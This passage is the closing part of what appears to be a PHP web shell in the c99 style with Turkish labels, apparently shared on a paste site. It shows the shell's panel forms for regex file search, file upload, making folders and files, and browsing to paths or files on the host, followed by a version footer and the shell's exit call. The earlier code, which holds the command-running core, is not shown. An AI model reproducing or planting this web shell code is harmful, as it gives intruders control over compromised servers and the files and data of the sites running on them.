  6074.  <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Arama</b></a> ::</b><form method="POST"><input type=hidden name=act value="Ara"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type=submit name=submit value="Ara"></form></center></p></td>
  6075.  
  6076.  <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
  6077.  
  6078. </tr>
  6079.  
  6080. </table>
  6081.  
  6082. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Klasor olustur ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Olustur"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Dosya olustur ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Olustur"><br><?php echo $wdt; ?></form></center></td></tr></table>
  6083.  
  6084. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Dizine Git ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Git"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Dosyaya gir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Git"></form></center></td></tr></table>
  6085.  
  6086. <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>[ <b>Edited By</b></a>   <a href="<?php echo $surl; ?>act=about"><font color="#00ff00"><?php echo $shver; ?></font></a> | Sayfa: <?php echo round(getmicrotime()-starttime,4); ?> sn' de uretilmistir. ]</body></html><?php chdir($lastdir); ashshexit(); ?>
Add Comment
Please, Sign In to add comment